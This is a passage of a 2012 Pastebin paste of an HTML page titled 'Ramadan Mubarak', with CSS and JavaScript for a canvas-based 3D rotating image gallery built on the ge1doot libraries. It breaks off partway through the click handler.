Guest User

devilscafe .... :)

a guest
Jul 23rd, 2012
161
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16. <!DOCTYPE html>
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24. <html>
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32. <head>
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40. <title>Ramadan Mubarak</title>
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48. <style type="text/css">
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.     html {
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.         overflow: hidden;
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.  
  72.     }
  73.  
  74.  
  75.  
  76.  
  77.  
  78.  
  79.  
  80.     body {
  81.  
  82.  
  83.  
  84.  
  85.  
  86.  
  87.  
  88.         position: absolute;
  89.  
  90.  
  91.  
  92.  
  93.  
  94.  
  95.  
  96.         margin: 0px;
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.         padding: 0px;
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.         background: #000;
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120.         width: 100%;
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128.         height: 100%;
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.     }
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143.  
  144.     #screen {
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.         position: absolute;
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.         width: 100%;
  161.  
  162.  
  163.  
  164.  
  165.  
  166.  
  167.  
  168.         height: 100%;
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.         background: #000;
  177.  
  178.  
  179.  
  180.  
  181.  
  182.  
  183.  
  184.         overflow: hidden;
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  
  191.  
  192.         font-family: Segoe UI, Verdana, Arial, Sans-Serif;
  193.  
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.         color: #fff;
  201.  
  202.  
  203.  
  204.  
  205.  
  206.  
  207.  
  208.     }
  209.  
  210.  
  211.  
  212.  
  213.  
  214.  
  215.  
  216.     #screen canvas {
  217.  
  218.  
  219.  
  220.  
  221.  
  222.  
  223.  
  224.         position: absolute;
  225.  
  226.  
  227.  
  228.  
  229.  
  230.  
  231.  
  232.         width: 100%;
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240.         height: 100%;
  241.  
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248.         background: #000;
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.     }
  257.  
  258.  
  259.  
  260.  
  261.  
  262.  
  263.  
  264. </style>
  265.  
  266.  
  267.  
  268.  
  269.  
  270.  
  271.  
  272.  
  273.  
  274.  
  275.  
  276.  
  277.  
  278.  
  279.  
  280. <!-- ge1doot libraries -->
  281.  
  282.  
  283.  
  284.  
  285.  
  286.  
  287.  
  288. <script type="text/javascript" src="http://www.dhteumeuleu.com/dhtml/library/screenEventsHandler.js?w=946a6b43"></script>
  289.  
  290.  
  291.  
  292.  
  293.  
  294.  
  295.  
  296. <script type="text/javascript" src="http://www.dhteumeuleu.com/dhtml/library/EasingInOut.js"></script>
  297.  
  298.  
  299.  
  300.  
  301.  
  302.  
  303.  
  304. <script type="text/javascript" src="http://www.dhteumeuleu.com/dhtml/library/textureMapping.js"></script>
  305.  
  306.  
  307.  
  308.  
  309.  
  310.  
  311.  
  312.  
  313.  
  314.  
  315.  
  316.  
  317.  
  318.  
  319.  
  320. <script type="text/javascript">
  321.  
  322.  
  323.  
  324.  
  325.  
  326.  
  327.  
  328. // =============================================================
  329.  
  330.  
  331.  
  332.  
  333.  
  334.  
  335.  
  336. //           ===== devilscafe.in =====
  337.  
  338.  
  339.  
  340.  
  341.  
  342.  
  343.  
  344. //
  345.  
  346.  
  347.  
  348.  
  349.  
  350.  
  351.  
  352. //
  353.  
  354.  
  355.  
  356. // =============================================================
  357.  
  358.  
  359.  
  360.  
  361.  
  362.  
  363.  
  364.  
  365.  
  366.  
  367.  
  368.  
  369.  
  370.  
  371.  
  372. "use strict";
  373.  
  374.  
  375.  
  376.  
  377.  
  378.  
  379.  
  380.  
  381.  
  382.  
  383.  
  384.  
  385.  
  386.  
  387.  
  388. (function () {
  389.  
  390.  
  391.  
  392.  
  393.  
  394.  
  395.  
  396.     // ======== private vars ========
  397.  
  398.  
  399.  
  400.  
  401.  
  402.  
  403.  
  404.     var faces = [];
  405.  
  406.  
  407.  
  408.  
  409.  
  410.  
  411.  
  412.     var scr, target, targetold, faceOver;
  413.  
  414.  
  415.  
  416.  
  417.  
  418.  
  419.  
  420.     var globalRX = 0, globalRY = 0;
  421.  
  422.  
  423.  
  424.  
  425.  
  426.  
  427.  
  428.     // ---- tweening engine ----
  429.  
  430.  
  431.  
  432.  
  433.  
  434.  
  435.  
  436.     var tweens = ge1doot.tweens;
  437.  
  438.  
  439.  
  440.  
  441.  
  442.  
  443.  
  444.     // ---- camera ----
  445.  
  446.  
  447.  
  448.  
  449.  
  450.  
  451.  
  452.     var camera = {
  453.  
  454.  
  455.  
  456.  
  457.  
  458.  
  459.  
  460.         x:  new tweens.Add(100),
  461.  
  462.  
  463.  
  464.  
  465.  
  466.  
  467.  
  468.         y:  new tweens.Add(100),
  469.  
  470.  
  471.  
  472.  
  473.  
  474.  
  475.  
  476.         z:  new tweens.Add(100, 0,0),
  477.  
  478.  
  479.  
  480.  
  481.  
  482.  
  483.  
  484.         rx: new tweens.Add(100, 0,0, true),
  485.  
  486.  
  487.  
  488.  
  489.  
  490.  
  491.  
  492.         ry: new tweens.Add(100, 0,0, true),
  493.  
  494.  
  495.  
  496.  
  497.  
  498.  
  499.  
  500.         zoom: new tweens.Add(100, 0.1, 1),
  501.  
  502.  
  503.  
  504.  
  505.  
  506.  
  507.  
  508.         focalLength: 500,
  509.  
  510.  
  511.  
  512.  
  513.  
  514.  
  515.  
  516.         centered: false,
  517.  
  518.  
  519.  
  520.  
  521.  
  522.  
  523.  
  524.         cosX: 0,
  525.  
  526.  
  527.  
  528.  
  529.  
  530.  
  531.  
  532.         cosY: 0,
  533.  
  534.  
  535.  
  536.  
  537.  
  538.  
  539.  
  540.         sinX: 0,
  541.  
  542.  
  543.  
  544.  
  545.  
  546.  
  547.  
  548.         sinY: 0,
  549.  
  550.  
  551.  
  552.  
  553.  
  554.  
  555.  
  556.         setTarget: function (target) {
  557.  
  558.  
  559.  
  560.  
  561.  
  562.  
  563.  
  564.             // ---- set position ----
  565.  
  566.  
  567.  
  568.  
  569.  
  570.  
  571.  
  572.             this.x.setTarget(target.pc.x);
  573.  
  574.  
  575.  
  576.  
  577.  
  578.  
  579.  
  580.             this.y.setTarget(target.pc.y);
  581.  
  582.  
  583.  
  584.  
  585.  
  586.  
  587.  
  588.             this.z.setTarget(target.pc.z);
  589.  
  590.  
  591.  
  592.  
  593.  
  594.  
  595.  
  596.             // ---- set view angles ----
  597.  
  598.  
  599.  
  600.  
  601.  
  602.  
  603.  
  604.             this.rx.setTarget((Math.PI * 0.5) - target.ax - globalRX);
  605.  
  606.  
  607.  
  608.  
  609.  
  610.  
  611.  
  612.             this.ry.setTarget((Math.PI * 0.5) - target.ay - globalRY);
  613.  
  614.  
  615.  
  616.  
  617.  
  618.  
  619.  
  620.             // ---- zoom ----
  621.  
  622.  
  623.  
  624.  
  625.  
  626.  
  627.  
  628.             this.zoom.setTarget(target.f.zoom ? target.f.zoom : 2);
  629.  
  630.  
  631.  
  632.  
  633.  
  634.  
  635.  
  636.             this.centered = false;
  637.  
  638.  
  639.  
  640.  
  641.  
  642.  
  643.  
  644.         },
  645.  
  646.  
  647.  
  648.  
  649.  
  650.  
  651.  
  652.         center: function () {
  653.  
  654.  
  655.  
  656.  
  657.  
  658.  
  659.  
  660.             this.x.setTarget(0);
  661.  
  662.  
  663.  
  664.  
  665.  
  666.  
  667.  
  668.             this.y.setTarget(0);
  669.  
  670.  
  671.  
  672.  
  673.  
  674.  
  675.  
  676.             this.z.setTarget(0);
  677.  
  678.  
  679.  
  680.  
  681.  
  682.  
  683.  
  684.             this.zoom.setTarget(1);
  685.  
  686.  
  687.  
  688.  
  689.  
  690.  
  691.  
  692.             this.centered = true;
  693.  
  694.  
  695.  
  696.  
  697.  
  698.  
  699.  
  700.         },
  701.  
  702.  
  703.  
  704.  
  705.  
  706.  
  707.  
  708.         move: function () {
  709.  
  710.  
  711.  
  712.  
  713.  
  714.  
  715.  
  716.             // ---- easing camera position and view angle ----
  717.  
  718.  
  719.  
  720.  
  721.  
  722.  
  723.  
  724.             tweens.iterate();
  725.  
  726.  
  727.  
  728.  
  729.  
  730.  
  731.  
  732.             // ---- additional drag/touch rotations ----
  733.  
  734.  
  735.  
  736.  
  737.  
  738.  
  739.  
  740.             globalRX += (((-scr.dragY * 0.01) - globalRX) * 0.1);
  741.  
  742.  
  743.  
  744.  
  745.  
  746.  
  747.  
  748.             globalRY += (((-scr.dragX * 0.01) - globalRY) * 0.1);
  749.  
  750.  
  751.  
  752.  
  753.  
  754.  
  755.  
  756.             if (!this.centered && scr.drag) {
  757.  
  758.  
  759.  
  760.  
  761.  
  762.  
  763.  
  764.                 // ---- reset zoom & position ----
  765.  
  766.  
  767.  
  768.  
  769.  
  770.  
  771.  
  772.                 this.center();
  773.  
  774.  
  775.  
  776.  
  777.  
  778.  
  779.  
  780.                 targetold = false;
  781.  
  782.  
  783.  
  784.  
  785.  
  786.  
  787.  
  788.             }
  789.  
  790.  
  791.  
  792.  
  793.  
  794.  
  795.  
  796.             // ---- pre calculate trigo ----
  797.  
  798.  
  799.  
  800.  
  801.  
  802.  
  803.  
  804.             this.cosX = Math.cos(this.rx.value + globalRX);
  805.  
  806.  
  807.  
  808.  
  809.  
  810.  
  811.  
  812.             this.sinX = Math.sin(this.rx.value + globalRX);
  813.  
  814.  
  815.  
  816.  
  817.  
  818.  
  819.  
  820.             this.cosY = Math.cos(this.ry.value + globalRY);
  821.  
  822.  
  823.  
  824.  
  825.  
  826.  
  827.  
  828.             this.sinY = Math.sin(this.ry.value + globalRY);
  829.  
  830.  
  831.  
  832.  
  833.  
  834.  
  835.  
  836.         },
  837.  
  838.  
  839.  
  840.  
  841.  
  842.  
  843.  
  844.         rotate: function (x, y, z) {
  845.  
  846.  
  847.  
  848.  
  849.  
  850.  
  851.  
  852.             // ---- 3D rotation ----
  853.  
  854.  
  855.  
  856.  
  857.  
  858.  
  859.  
  860.             return {
  861.  
  862.  
  863.  
  864.  
  865.  
  866.  
  867.  
  868.                 x: this.cosY * x - this.sinY * z,
  869.  
  870.  
  871.  
  872.  
  873.  
  874.  
  875.  
  876.                 y: this.sinX * (this.cosY * z + this.sinY * x) + this.cosX * y,
  877.  
  878.  
  879.  
  880.  
  881.  
  882.  
  883.  
  884.                 z: this.cosX * (this.cosY * z + this.sinY * x) - this.sinX * y 
  885.  
  886.  
  887.  
  888.  
  889.  
  890.  
  891.  
  892.             }
  893.  
  894.  
  895.  
  896.  
  897.  
  898.  
  899.  
  900.         }
  901.  
  902.  
  903.  
  904.  
  905.  
  906.  
  907.  
  908.     }
  909.  
  910.  
  911.  
  912.  
  913.  
  914.  
  915.  
  916.     // ======== points constructor ========
  917.  
  918.  
  919.  
  920.  
  921.  
  922.  
  923.  
  924.     var Point = function (parentFace, point, rotate) {
  925.  
  926.  
  927.  
  928.  
  929.  
  930.  
  931.  
  932.         this.face = parentFace;
  933.  
  934.  
  935.  
  936.  
  937.  
  938.  
  939.  
  940.         this.x = point[0];
  941.  
  942.  
  943.  
  944.  
  945.  
  946.  
  947.  
  948.         this.y = point[1];
  949.  
  950.  
  951.  
  952.  
  953.  
  954.  
  955.  
  956.         this.z = point[2];
  957.  
  958.  
  959.  
  960.  
  961.  
  962.  
  963.  
  964.         this.scale = 0;
  965.  
  966.  
  967.  
  968.  
  969.  
  970.  
  971.  
  972.         this.X = 0;
  973.  
  974.  
  975.  
  976.  
  977.  
  978.  
  979.  
  980.         this.Y = 0;
  981.  
  982.  
  983.  
  984.  
  985.  
  986.  
  987.  
  988.         if (rotate) {
  989.  
  990.  
  991.  
  992.  
  993.  
  994.  
  995.  
  996.             this.x += rotate.x;
  997.  
  998.  
  999.  
  1000.  
  1001.  
  1002.  
  1003.  
  1004.             this.y += rotate.y;
  1005.  
  1006.  
  1007.  
  1008.  
  1009.  
  1010.  
  1011.  
  1012.             this.z += rotate.z;
  1013.  
  1014.  
  1015.  
  1016.  
  1017.  
  1018.  
  1019.  
  1020.         }
  1021.  
  1022.  
  1023.  
  1024.  
  1025.  
  1026.  
  1027.  
  1028.        
  1029.  
  1030.  
  1031.  
  1032.  
  1033.  
  1034.  
  1035.  
  1036.         return this;
  1037.  
  1038.  
  1039.  
  1040.  
  1041.  
  1042.  
  1043.  
  1044.     };
  1045.  
  1046.  
  1047.  
  1048.  
  1049.  
  1050.  
  1051.  
  1052.     // ======== points projection ========
  1053.  
  1054.  
  1055.  
  1056.  
  1057.  
  1058.  
  1059.  
  1060.     Point.prototype.projection = function () {
  1061.  
  1062.  
  1063.  
  1064.  
  1065.  
  1066.  
  1067.  
  1068.         // ---- 3D rotation ----
  1069.  
  1070.  
  1071.  
  1072.  
  1073.  
  1074.  
  1075.  
  1076.         var p = camera.rotate(
  1077.  
  1078.  
  1079.  
  1080.  
  1081.  
  1082.  
  1083.  
  1084.             this.x - camera.x.value,
  1085.  
  1086.  
  1087.  
  1088.  
  1089.  
  1090.  
  1091.  
  1092.             this.y - camera.y.value,
  1093.  
  1094.  
  1095.  
  1096.  
  1097.  
  1098.  
  1099.  
  1100.             this.z - camera.z.value
  1101.  
  1102.  
  1103.  
  1104.  
  1105.  
  1106.  
  1107.  
  1108.         );
  1109.  
  1110.  
  1111.  
  1112.  
  1113.  
  1114.  
  1115.  
  1116.         // ---- distance to the camera ----
  1117.  
  1118.  
  1119.  
  1120.  
  1121.  
  1122.  
  1123.  
  1124.         if (this.face) {
  1125.  
  1126.  
  1127.  
  1128.  
  1129.  
  1130.  
  1131.  
  1132.             var z = p.z + camera.focalLength;
  1133.  
  1134.  
  1135.  
  1136.  
  1137.  
  1138.  
  1139.  
  1140.             var distance = Math.sqrt(p.x * p.x + p.y * p.y + z * z);
  1141.  
  1142.  
  1143.  
  1144.  
  1145.  
  1146.  
  1147.  
  1148.             if (distance > this.face.distance) this.face.distance = distance;
  1149.  
  1150.  
  1151.  
  1152.  
  1153.  
  1154.  
  1155.  
  1156.         }
  1157.  
  1158.  
  1159.  
  1160.  
  1161.  
  1162.  
  1163.  
  1164.         // --- 2D projection ----
  1165.  
  1166.  
  1167.  
  1168.  
  1169.  
  1170.  
  1171.  
  1172.         this.scale = (camera.focalLength / (p.z + camera.focalLength)) * camera.zoom.value;
  1173.  
  1174.  
  1175.  
  1176.  
  1177.  
  1178.  
  1179.  
  1180.         this.X = (scr.width  * 0.5) + (p.x * this.scale);
  1181.  
  1182.  
  1183.  
  1184.  
  1185.  
  1186.  
  1187.  
  1188.         this.Y = (scr.height * 0.5) + (p.y * this.scale);
  1189.  
  1190.  
  1191.  
  1192.  
  1193.  
  1194.  
  1195.  
  1196.     };
  1197.  
  1198.  
  1199.  
  1200.  
  1201.  
  1202.  
  1203.  
  1204.     // ======= faces constructor ========
  1205.  
  1206.  
  1207.  
  1208.  
  1209.  
  1210.  
  1211.  
  1212.     var Face = function (path, f) {
  1213.  
  1214.  
  1215.  
  1216.  
  1217.  
  1218.  
  1219.  
  1220.         this.f = f;
  1221.  
  1222.  
  1223.  
  1224.  
  1225.  
  1226.  
  1227.  
  1228.         var w  = f.w * 0.5;
  1229.  
  1230.  
  1231.  
  1232.  
  1233.  
  1234.  
  1235.  
  1236.         var h  = f.h * 0.5;
  1237.  
  1238.  
  1239.  
  1240.  
  1241.  
  1242.  
  1243.  
  1244.         var ax = f.rx * Math.PI * 0.5;
  1245.  
  1246.  
  1247.  
  1248.  
  1249.  
  1250.  
  1251.  
  1252.         var ay = f.ry * Math.PI * 0.5;
  1253.  
  1254.  
  1255.  
  1256.  
  1257.  
  1258.  
  1259.  
  1260.         this.locked   = false;
  1261.  
  1262.  
  1263.  
  1264.  
  1265.  
  1266.  
  1267.  
  1268.         this.hidden   = f.hidden || null;
  1269.  
  1270.  
  1271.  
  1272.  
  1273.  
  1274.  
  1275.  
  1276.         this.visible  = true;
  1277.  
  1278.  
  1279.  
  1280.  
  1281.  
  1282.  
  1283.  
  1284.         this.distance = 0;
  1285.  
  1286.  
  1287.  
  1288.  
  1289.  
  1290.  
  1291.  
  1292.         // ---- center point ----
  1293.  
  1294.  
  1295.  
  1296.  
  1297.  
  1298.  
  1299.  
  1300.         this.pc = new Point(this, [f.x, f.y, f.z]);
  1301.  
  1302.  
  1303.  
  1304.  
  1305.  
  1306.  
  1307.  
  1308.         // ---- 3D transform ----
  1309.  
  1310.  
  1311.  
  1312.  
  1313.  
  1314.  
  1315.  
  1316.         var transform = function (x, y, z, ax, ay) {
  1317.  
  1318.  
  1319.  
  1320.  
  1321.  
  1322.  
  1323.  
  1324.             var tz = z * Math.cos(ay) + x * Math.sin(ay);
  1325.  
  1326.  
  1327.  
  1328.  
  1329.  
  1330.  
  1331.  
  1332.             var ty = y * Math.cos(ax) + tz * Math.sin(ax);
  1333.  
  1334.  
  1335.  
  1336.  
  1337.  
  1338.  
  1339.  
  1340.             return {
  1341.  
  1342.  
  1343.  
  1344.  
  1345.  
  1346.  
  1347.  
  1348.                 x: x * Math.cos(ay) - z * Math.sin(ay),
  1349.  
  1350.  
  1351.  
  1352.  
  1353.  
  1354.  
  1355.  
  1356.                 y: ty,
  1357.  
  1358.  
  1359.  
  1360.  
  1361.  
  1362.  
  1363.  
  1364.                 z: tz * Math.cos(ax) - y * Math.sin(ax)
  1365.  
  1366.  
  1367.  
  1368.  
  1369.  
  1370.  
  1371.  
  1372.             }
  1373.  
  1374.  
  1375.  
  1376.  
  1377.  
  1378.  
  1379.  
  1380.         };
  1381.  
  1382.  
  1383.  
  1384.  
  1385.  
  1386.  
  1387.  
  1388.         // ---- quad points ----
  1389.  
  1390.  
  1391.  
  1392.  
  1393.  
  1394.  
  1395.  
  1396.         this.p0 = new Point(this, [f.x, f.y, f.z], transform(-w, -h, 0, ax, ay));
  1397.  
  1398.  
  1399.  
  1400.  
  1401.  
  1402.  
  1403.  
  1404.         this.p1 = new Point(this, [f.x, f.y, f.z], transform( w, -h, 0, ax, ay));
  1405.  
  1406.  
  1407.  
  1408.  
  1409.  
  1410.  
  1411.  
  1412.         this.p2 = new Point(this, [f.x, f.y, f.z], transform( w,  h, 0, ax, ay));
  1413.  
  1414.  
  1415.  
  1416.  
  1417.  
  1418.  
  1419.  
  1420.         this.p3 = new Point(this, [f.x, f.y, f.z], transform(-w,  h, 0, ax, ay));
  1421.  
  1422.  
  1423.  
  1424.  
  1425.  
  1426.  
  1427.  
  1428.         // ---- corner points ----
  1429.  
  1430.  
  1431.  
  1432.  
  1433.  
  1434.  
  1435.  
  1436.         this.c0 = new Point(false, [f.x, f.y, f.z], transform(-w, -h, -15, ax, ay));
  1437.  
  1438.  
  1439.  
  1440.  
  1441.  
  1442.  
  1443.  
  1444.         this.c1 = new Point(false, [f.x, f.y, f.z], transform( w, -h, -15, ax, ay));
  1445.  
  1446.  
  1447.  
  1448.  
  1449.  
  1450.  
  1451.  
  1452.         this.c2 = new Point(false, [f.x, f.y, f.z], transform( w,  h, -15, ax, ay));
  1453.  
  1454.  
  1455.  
  1456.  
  1457.  
  1458.  
  1459.  
  1460.         this.c3 = new Point(false, [f.x, f.y, f.z], transform(-w,  h, -15, ax, ay));
  1461.  
  1462.  
  1463.  
  1464.  
  1465.  
  1466.  
  1467.  
  1468.         // ---- target angle ----
  1469.  
  1470.  
  1471.  
  1472.  
  1473.  
  1474.  
  1475.  
  1476.         var r = transform(ax, ay, 0, ax, ay, 0);
  1477.  
  1478.  
  1479.  
  1480.  
  1481.  
  1482.  
  1483.  
  1484.         this.ax = r.x + Math.PI / 2;
  1485.  
  1486.  
  1487.  
  1488.  
  1489.  
  1490.  
  1491.  
  1492.         this.ay = r.y + Math.PI / 2;
  1493.  
  1494.  
  1495.  
  1496.  
  1497.  
  1498.  
  1499.  
  1500.         // ---- create 3D image ----
  1501.  
  1502.  
  1503.  
  1504.  
  1505.  
  1506.  
  1507.  
  1508.         this.img = new ge1doot.textureMapping.Image(scr.canvas, path + f.src, f.tl || 2);
  1509.  
  1510.  
  1511.  
  1512.  
  1513.  
  1514.  
  1515.  
  1516.     };
  1517.  
  1518.  
  1519.  
  1520.  
  1521.  
  1522.  
  1523.  
  1524.     // ======== face projection ========
  1525.  
  1526.  
  1527.  
  1528.  
  1529.  
  1530.  
  1531.  
  1532.     Face.prototype.projection = function () {
  1533.  
  1534.  
  1535.  
  1536.  
  1537.  
  1538.  
  1539.  
  1540.         this.visible = true;
  1541.  
  1542.  
  1543.  
  1544.  
  1545.  
  1546.  
  1547.  
  1548.         this.distance = -99999;
  1549.  
  1550.  
  1551.  
  1552.  
  1553.  
  1554.  
  1555.  
  1556.         // ---- points projection ----
  1557.  
  1558.  
  1559.  
  1560.  
  1561.  
  1562.  
  1563.  
  1564.         this.p0.projection();
  1565.  
  1566.  
  1567.  
  1568.  
  1569.  
  1570.  
  1571.  
  1572.         this.p1.projection();
  1573.  
  1574.  
  1575.  
  1576.  
  1577.  
  1578.  
  1579.  
  1580.         this.p2.projection();
  1581.  
  1582.  
  1583.  
  1584.  
  1585.  
  1586.  
  1587.  
  1588.         this.p3.projection();
  1589.  
  1590.  
  1591.  
  1592.  
  1593.  
  1594.  
  1595.  
  1596.         // ---- back face culling ----
  1597.  
  1598.  
  1599.  
  1600.  
  1601.  
  1602.  
  1603.  
  1604.         if (!(
  1605.  
  1606.  
  1607.  
  1608.  
  1609.  
  1610.  
  1611.  
  1612.             ((this.p1.Y - this.p0.Y) / (this.p1.X - this.p0.X) -
  1613.  
  1614.  
  1615.  
  1616.  
  1617.  
  1618.  
  1619.  
  1620.             (this.p2.Y - this.p0.Y) / (this.p2.X - this.p0.X) < 0) ^
  1621.  
  1622.  
  1623.  
  1624.  
  1625.  
  1626.  
  1627.  
  1628.             (this.p0.X <= this.p1.X == this.p0.X > this.p2.X)
  1629.  
  1630.  
  1631.  
  1632.  
  1633.  
  1634.  
  1635.  
  1636.         ) || this.hidden) {
  1637.  
  1638.  
  1639.  
  1640.  
  1641.  
  1642.  
  1643.  
  1644.             this.visible = false;
  1645.  
  1646.  
  1647.  
  1648.  
  1649.  
  1650.  
  1651.  
  1652.             this.distance = -99999;
  1653.  
  1654.  
  1655.  
  1656.  
  1657.  
  1658.  
  1659.  
  1660.             if (!this.locked && this.hidden === false) this.hidden = true;
  1661.  
  1662.  
  1663.  
  1664.  
  1665.  
  1666.  
  1667.  
  1668.         }
  1669.  
  1670.  
  1671.  
  1672.  
  1673.  
  1674.  
  1675.  
  1676.     };
  1677.  
  1678.  
  1679.  
  1680.  
  1681.  
  1682.  
  1683.  
  1684.     // ======== face border ========
  1685.  
  1686.  
  1687.  
  1688.  
  1689.  
  1690.  
  1691.  
  1692.     Face.prototype.border = function () {
  1693.  
  1694.  
  1695.  
  1696.  
  1697.  
  1698.  
  1699.  
  1700.         this.c0.projection();
  1701.  
  1702.  
  1703.  
  1704.  
  1705.  
  1706.  
  1707.  
  1708.         this.c1.projection();
  1709.  
  1710.  
  1711.  
  1712.  
  1713.  
  1714.  
  1715.  
  1716.         this.c2.projection();
  1717.  
  1718.  
  1719.  
  1720.  
  1721.  
  1722.  
  1723.  
  1724.         this.c3.projection();
  1725.  
  1726.  
  1727.  
  1728.  
  1729.  
  1730.  
  1731.  
  1732.         this.pc.projection();
  1733.  
  1734.  
  1735.  
  1736.  
  1737.  
  1738.  
  1739.  
  1740.         scr.ctx.beginPath();
  1741.  
  1742.  
  1743.  
  1744.  
  1745.  
  1746.  
  1747.  
  1748.         scr.ctx.moveTo(this.c0.X, this.c0.Y);
  1749.  
  1750.  
  1751.  
  1752.  
  1753.  
  1754.  
  1755.  
  1756.         scr.ctx.lineTo(this.c1.X, this.c1.Y);
  1757.  
  1758.  
  1759.  
  1760.  
  1761.  
  1762.  
  1763.  
  1764.         scr.ctx.lineTo(this.c2.X, this.c2.Y);
  1765.  
  1766.  
  1767.  
  1768.  
  1769.  
  1770.  
  1771.  
  1772.         scr.ctx.lineTo(this.c3.X, this.c3.Y);
  1773.  
  1774.  
  1775.  
  1776.  
  1777.  
  1778.  
  1779.  
  1780.         scr.ctx.closePath();
  1781.  
  1782.  
  1783.  
  1784.  
  1785.  
  1786.  
  1787.  
  1788.         scr.ctx.strokeStyle = "rgb(255,255,255)";
  1789.  
  1790.  
  1791.  
  1792.  
  1793.  
  1794.  
  1795.  
  1796.         scr.ctx.lineWidth = this.pc.scale * this.f.w / 30;
  1797.  
  1798.  
  1799.  
  1800.  
  1801.  
  1802.  
  1803.  
  1804.         scr.ctx.lineJoin = "round";
  1805.  
  1806.  
  1807.  
  1808.  
  1809.  
  1810.  
  1811.  
  1812.         scr.ctx.stroke();
  1813.  
  1814.  
  1815.  
  1816.  
  1817.  
  1818.  
  1819.  
  1820.     };
  1821.  
  1822.  
  1823.  
  1824.  
  1825.  
  1826.  
  1827.  
  1828.     // ======== update pointer style (PC)  ========
  1829.  
  1830.  
  1831.  
  1832.  
  1833.  
  1834.  
  1835.  
  1836.     var pointer = function () {
  1837.  
  1838.  
  1839.  
  1840.  
  1841.  
  1842.  
  1843.  
  1844.         // ---- on mouse over ---- 
  1845.  
  1846.  
  1847.  
  1848.  
  1849.  
  1850.  
  1851.  
  1852.         target = false;
  1853.  
  1854.  
  1855.  
  1856.  
  1857.  
  1858.  
  1859.  
  1860.         var i = 0, f;
  1861.  
  1862.  
  1863.  
  1864.  
  1865.  
  1866.  
  1867.  
  1868.         while ( f = faces[i++] ) {
  1869.  
  1870.  
  1871.  
  1872.  
  1873.  
  1874.  
  1875.  
  1876.             if (f.visible) {
  1877.  
  1878.  
  1879.  
  1880.  
  1881.  
  1882.  
  1883.  
  1884.                 if (
  1885.  
  1886.  
  1887.  
  1888.  
  1889.  
  1890.  
  1891.  
  1892.                     f.img.pointerInside(
  1893.  
  1894.  
  1895.  
  1896.  
  1897.  
  1898.  
  1899.  
  1900.                         scr.mouseX,
  1901.  
  1902.  
  1903.  
  1904.  
  1905.  
  1906.  
  1907.  
  1908.                         scr.mouseY,
  1909.  
  1910.  
  1911.  
  1912.  
  1913.  
  1914.  
  1915.  
  1916.                         f.p0, f.p1, f.p2, f.p3
  1917.  
  1918.  
  1919.  
  1920.  
  1921.  
  1922.  
  1923.  
  1924.                     )
  1925.  
  1926.  
  1927.  
  1928.  
  1929.  
  1930.  
  1931.  
  1932.                 ) target = f;  
  1933.  
  1934.  
  1935.  
  1936.  
  1937.  
  1938.  
  1939.  
  1940.             } else break;
  1941.  
  1942.  
  1943.  
  1944.  
  1945.  
  1946.  
  1947.  
  1948.         }
  1949.  
  1950.  
  1951.  
  1952.  
  1953.  
  1954.  
  1955.  
  1956.         if (target && target.f.select != false && !scr.drag) {
  1957.  
  1958.  
  1959.  
  1960.  
  1961.  
  1962.  
  1963.  
  1964.             faceOver = target;
  1965.  
  1966.  
  1967.  
  1968.  
  1969.  
  1970.  
  1971.  
  1972.             scr.container.style.cursor = "pointer";
  1973.  
  1974.  
  1975.  
  1976.  
  1977.  
  1978.  
  1979.  
  1980.         } else scr.container.style.cursor = "move";
  1981.  
  1982.  
  1983.  
  1984.  
  1985.  
  1986.  
  1987.  
  1988.     };
  1989.  
  1990.  
  1991.  
  1992.  
  1993.  
  1994.  
  1995.  
  1996.     // ======== onclick ========
  1997.  
  1998.  
  1999.  
  2000.  
  2001.  
  2002.  
  2003.  
  2004.     var click = function () {
  2005.  
  2006.  
  2007.  
  2008.  
  2009.  
  2010.  
  2011.  
  2012.         pointer();
  2013.  
  2014.  
  2015.  
  2016.  
  2017.  
  2018.  
  2019.  
  2020.         // ---- target image ----
  2021.  
  2022.  
  2023.  
  2024.  
  2025.  
  2026.  
  2027.  
  2028.         if (target && target.f.select != false) {
  2029.  
  2030.  
  2031.  
  2032.  
  2033.  
  2034.  
  2035.  
  2036.             if (target == targetold) {
  2037.  
  2038.  
  2039.  
  2040.  
  2041.  
  2042.  
  2043.  
  2044.                 // ---- reset scene ----
  2045.  
  2046.  
  2047.  
  2048.  
  2049.  
  2050.  
  2051.  
  2052.                 camera.center();
  2053.  
  2054.  
  2055.  
  2056.  
  2057.  
  2058.  
  2059.  
  2060.                 targetold = false;
  2061.  
  2062.  
  2063.  
  2064.  
  2065.  
  2066.  
  2067.  
  2068.             } else {
  2069.  
  2070.  
  2071.  
  2072.  
  2073.  
  2074.  
  2075.  
  2076.                 targetold = target;
  2077.  
  2078.  
  2079.  
  2080.  
  2081.  
  2082.  
  2083.  
  2084.                 target.locked = false;
  2085.  
  2086.  
  2087.  
  2088.  
  2089.  
  2090.  
  2091.  
  2092.                 // ---- target redirection ----
  2093.  
  2094.  
  2095.  
  2096.  
  2097.  
  2098.  
  2099.  
  2100.                 if (target.f.target != "") {
  2101.  
  2102.  
  2103.  
  2104.  
  2105.  
  2106.  
  2107.  
  2108.                     var i = 0, f;
